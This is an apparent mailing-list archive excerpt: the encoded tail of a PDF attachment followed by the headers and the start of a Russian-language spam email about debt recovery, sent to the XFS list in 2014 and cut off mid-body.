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 A/P3iB5e1A950fPgwCnm/ms7x+1JzBwsidw17UzsyPcGM+4+Lc64cDc69EWy6Fxd3JVjGY7ZVXfa pVRu7H9187gzreKjtVN/WEunE/J/AC9oG4sNCmVuZHN0cmVhbQ0KZW5kb2JqDQo5MSAwIG9iag0K WyAzWyAyNzggMzMzXSAgMTFbIDMzM10gIDE1WyAyNzhdICAxN1sgMjc4XSAgMTlbIDU1NiA1NTZd ICAyMlsgNTU2IDU1NiA1NTZdICAyNlsgNTU2XSAgMjhbIDU1Nl0gIDM5WyA3MjIgNjY3IDYxMSA3 NzggNzIyIDI3OF0gIDQ5WyA3MjJdICA1M1sgNzIyIDY2NyA2MTEgNzIyXSAgMTg4WyA1NTZdIF0g DQplbmRvYmoNCjkyIDAgb2JqDQo8PC9UeXBlL1hSZWYvU2l6ZSA5Mi9XWyAxIDQgMl0gL1Jvb3Qg MSAwIFIvSW5mbyA3NyAwIFIvSURbPDM4Nzk2MTY5RjBENkYxNDFCN0NBNjM2QzE3OUZGQTE2Pjwz ODc5NjE2OUYwRDZGMTQxQjdDQTYzNkMxNzlGRkExNj5dIC9GaWx0ZXIvRmxhdGVEZWNvZGUvTGVu Z3RoIDMwNz4+DQpzdHJlYW0NCnicJdE7LENxFMfx/y2iIiQ1iFglBhWLGMSjiUiDQdGi3o/eQQRR bSVIKn3QwaOGSxgaYcBIYhGb2DqQeEwGi7FdGUT1fs9/OJ/hJOefc35K5V8up+WrTSmTXmEbCtxQ ZkCFDoEIbHogEoToEsRcEO+BLTskpWc4hA3hxkTrX4aBSuEX3CnwhGGwEYaahQwMC94jGEnAaBOM 2YV3GH+EiU5hVviDyS6YcgjPMG0F3wvoKzDXJnzAwiUsOsFvE64hxH7aajWsfcF6HMIuIQvRO4h5 IVEjPMDOHuzWQ/IbDmRbYwYOFRyn4WQeUnKC1CucncJ5O1yUCFdwKzdL/8Cn/J4hOEtVOfg7BIZZ ggRgCdUJT5AuFWpNClvuoZVQi7IBYd+k2NcgdIP+ZmJ19in1DzvnVWYNCmVuZHN0cmVhbQ0KZW5k b2JqDQp4cmVmDQowIDkzDQowMDAwMDAwMDAwIDY1NTM1IGYNCjAwMDAwMDAwMTcgMDAwMDAgbg0K MDAwMDAwMDA3OCAwMDAwMCBuDQowMDAwMDAwMTM0IDAwMDAwIG4NCjAwMDAwMDA4NTEgMDAwMDAg bg0KMDAwMDAwMzQ3NiAwMDAwMCBuDQowMDAwMDA0NzA4IDAwMDAwIG4NCjAwMDAwMjk1NjkgMDAw MDAgbg0KMDAwMDAzMjU5NiAwMDAwMCBuDQowMDAwMDMzMTQwIDAwMDAwIG4NCjAwMDAwMzMzOTAg MDAwMDAgbg0KMDAwMDAzMzYxNSAwMDAwMCBuDQowMDAwMDMzODY2IDAwMDAwIG4NCjAwMDAwMzQw OTEgMDAwMDAgbg0KMDAwMDAzNjcxOCAwMDAwMCBuDQowMDAwMDM3OTUxIDAwMDAwIG4NCjAwMDAw MzgwMTEgMDAwMDAgbg0KMDAwMDAzODA2NSAwMDAwMCBuDQowMDAwMDg2Mzg0IDAwMDAwIG4NCjAw MDAwODY1NTAgMDAwMDAgbg0KMDAwMDA4Njc4MCAwMDAwMCBuDQowMDAwMDg2OTQxIDAwMDAwIG4N CjAwMDAwODcxNjYgMDAwMDAgbg0KMDAwMDA4NzM0NyAwMDAwMCBuDQowMDAwMDg3NjA5IDAwMDAw IG4NCjAwMDAwODc3ODkgMDAwMDAgbg0KMDAwMDA4ODA0NSAwMDAwMCBuDQowMDAwMDg4MjE0IDAw MDAwIG4NCjAwMDAwODg0NTUgMDAwMDAgbg0KMDAwMDA4ODYyOSAwMDAwMCBuDQowMDAwMDg4ODc1 IDAwMDAwIG4NCjAwMDAwODkwNDYgMDAwMDAgbg0KMDAwMDA4OTI4NCAwMDAwMCBuDQowMDAwMDg5 NDEyIDAwMDAwIG4NCjAwMDAwODk0NDIgMDAwMDAgbg0KMDAwMDA4OTU5OCAwMDAwMCBuDQowMDAw MDg5NjcyIDAwMDAwIG4NCjAwMDAwODk5MTkgMDAwMDAgbg0KMDAwMDA5MDA2NCAwMDAwMCBuDQow MDAwMDkwMTIwIDAwMDAwIG4NCjAwMDAwOTEwOTEgMDAwMDAgbg0KMDAwMDA5MTI1MCAwMDAwMCBu DQowMDAwMDkyMjIxIDAwMDAwIG4NCjAwMDAwOTIzODAgMDAwMDAgbg0KMDAwMDA5MzM1MSAwMDAw MCBuDQowMDAwMDkzNTEwIDAwMDAwIG4NCjAwMDAwOTQ0ODEgMDAwMDAgbg0KMDAwMDA5NDY0MCAw MDAwMCBuDQowMDAwMDk1NjExIDAwMDAwIG4NCjAwMDAwOTU3NzAgMDAwMDAgbg0KMDAwMDA5Njc0 MSAwMDAwMCBuDQowMDAwMDk2OTAwIDAwMDAwIG4NCjAwMDAwOTc4NzEgMDAwMDAgbg0KMDAwMDA5 ODAzMCAwMDAwMCBuDQowMDAwMDk5MDAxIDAwMDAwIG4NCjAwMDAwOTkxNjAgMDAwMDAgbg0KMDAw MDEwMDEzMSAwMDAwMCBuDQowMDAwMTAwMjkwIDAwMDAwIG4NCjAwMDAxMDEyNjEgMDAwMDAgbg0K MDAwMDEwMTQyMCAwMDAwMCBuDQowMDAwMTAyMzkxIDAwMDAwIG4NCjAwMDAxMDI1NTAgMDAwMDAg bg0KMDAwMDEwMzUyMSAwMDAwMCBuDQowMDAwMTAzNjgwIDAwMDAwIG4NCjAwMDAxMDQ2NTEgMDAw MDAgbg0KMDAwMDEwNDgxMCAwMDAwMCBuDQowMDAwMTA1NzgxIDAwMDAwIG4NCjAwMDAxMDU5NDAg MDAwMDAgbg0KMDAwMDEwNjkxMSAwMDAwMCBuDQowMDAwMTA3MDcwIDAwMDAwIG4NCjAwMDAxMDgw NDEgMDAwMDAgbg0KMDAwMDEwODIwMCAwMDAwMCBuDQowMDAwMTExNzUxIDAwMDAwIG4NCjAwMDAx MTc3NTIgMDAwMDAgbg0KMDAwMDEyMjkxNSAwMDAwMCBuDQowMDAwMTI2MjgyIDAwMDAwIG4NCjAw MDAxMzcyMzAgMDAwMDAgbg0KMDAwMDE2MDA2NiAwMDAwMCBuDQowMDAwMTYwMjEyIDAwMDAwIG4N CjAwMDAxNjA4MjUgMDAwMDAgbg0KMDAwMDE2MTA2NiAwMDAwMCBuDQowMDAwMTYxMjMxIDAwMDAw IG4NCjAwMDAxODMwNTEgMDAwMDAgbg0KMDAwMDE4MzA3OCAwMDAwMCBuDQowMDAwMjc3NDM1IDAw MDAwIG4NCjAwMDAyNzc2MTYgMDAwMDAgbg0KMDAwMDM4ODcyMyAwMDAwMCBuDQowMDAwMzg4NzUw IDAwMDAwIG4NCjAwMDA0ODQxNDIgMDAwMDAgbg0KMDAwMDQ4NDE2OSAwMDAwMCBuDQowMDAwNDg0 NTY1IDAwMDAwIG4NCjAwMDA1NDIyODggMDAwMDAgbg0KMDAwMDU0MjQ3OSAwMDAwMCBuDQp0cmFp bGVyDQo8PC9TaXplIDkzL1Jvb3QgMSAwIFIvSW5mbyA3NyAwIFIvSURbPDM4Nzk2MTY5RjBENkYx NDFCN0NBNjM2QzE3OUZGQTE2PjwzODc5NjE2OUYwRDZGMTQxQjdDQTYzNkMxNzlGRkExNj5dID4+ DQpzdGFydHhyZWYNCjU0Mjk4Nw0KJSVFT0YNCnhyZWYNCjAgMA0KdHJhaWxlcg0KPDwvU2l6ZSA5 My9Sb290IDEgMCBSL0luZm8gNzcgMCBSL0lEWzwzODc5NjE2OUYwRDZGMTQxQjdDQTYzNkMxNzlG RkExNj48Mzg3OTYxNjlGMEQ2RjE0MUI3Q0E2MzZDMTc5RkZBMTY+XSAvUHJldiA1NDI5ODcvWFJl ZlN0bSA1NDI0Nzk+Pg0Kc3RhcnR4cmVmDQo1NDUwMDUNCiUlRU9G ------=_20140219203111_82357-- From fima3990@warwick.ac.uk Thu Feb 20 03:22:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 625957F7D for ; Thu, 20 Feb 2014 03:22:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4951D304081 for ; Thu, 20 Feb 2014 01:22:12 -0800 (PST) X-ASG-Debug-ID: 1392888128-04cbb00c295f16b0001-NocioJ Received: from mail.mymeteor.ie (mail.mymeteor.ie [212.129.64.9]) by cuda.sgi.com with ESMTP id OUjck3awHlAlK20R for ; Thu, 20 Feb 2014 01:22:08 -0800 (PST) X-Barracuda-Envelope-From: fima3990@warwick.ac.uk X-Barracuda-Apparent-Source-IP: 212.129.64.9 Received: from Unknown (221.214.208.226) by mail.mymeteor.ie (7.3.006) (authenticated as PodgeKelly2@mymeteor.ie) id 524ECDA303874AC0; Wed, 19 Feb 2014 23:53:57 +0000 Message-ID: <89F8015ED60344A7BDE7F59E03D08A5B@usivxzy> Reply-To: =?windows-1251?B?wiDk7uvj8yDt5SDu8fLg4ujsIQ==?= From: =?windows-1251?B?wiDk7uvj8yDt5SDu8fLg4ujsIQ==?= To: , , , Subject: =?windows-1251?B?4vvl5+Qg5O7r5u3o6uAg5+Ag4/Dg7ej28w==?= Date: Thu, 20 Feb 2014 00:53:55 +0100 X-ASG-Orig-Subj: =?windows-1251?B?4vvl5+Qg5O7r5u3o6uAg5+Ag4/Dg7ej28w==?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_2460_01CF2DD6.3B5214C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Barracuda-Connect: mail.mymeteor.ie[212.129.64.9] X-Barracuda-Start-Time: 1392888128 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145311 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_2460_01CF2DD6.3B5214C0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_2461_01CF2DD6.3B5214C0" ------=_NextPart_001_2461_01CF2DD6.3B5214C0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CA=E0=EA =E2=E5=F0=ED=F3=F2=FC =E4=EE=EB=E3? =CA =EA=EE=EC=F3 =EE=E1=F0=E0= =F2=E8=F2=FC=F1=FF? =D1 =EC=EE=EC=E5=ED=F2=E0 =ED=E0=F7=E0=EB=E0 =EA=F0=E8= =E7=E8=F1=E0 =EC=ED=EE=E3=E8=E5 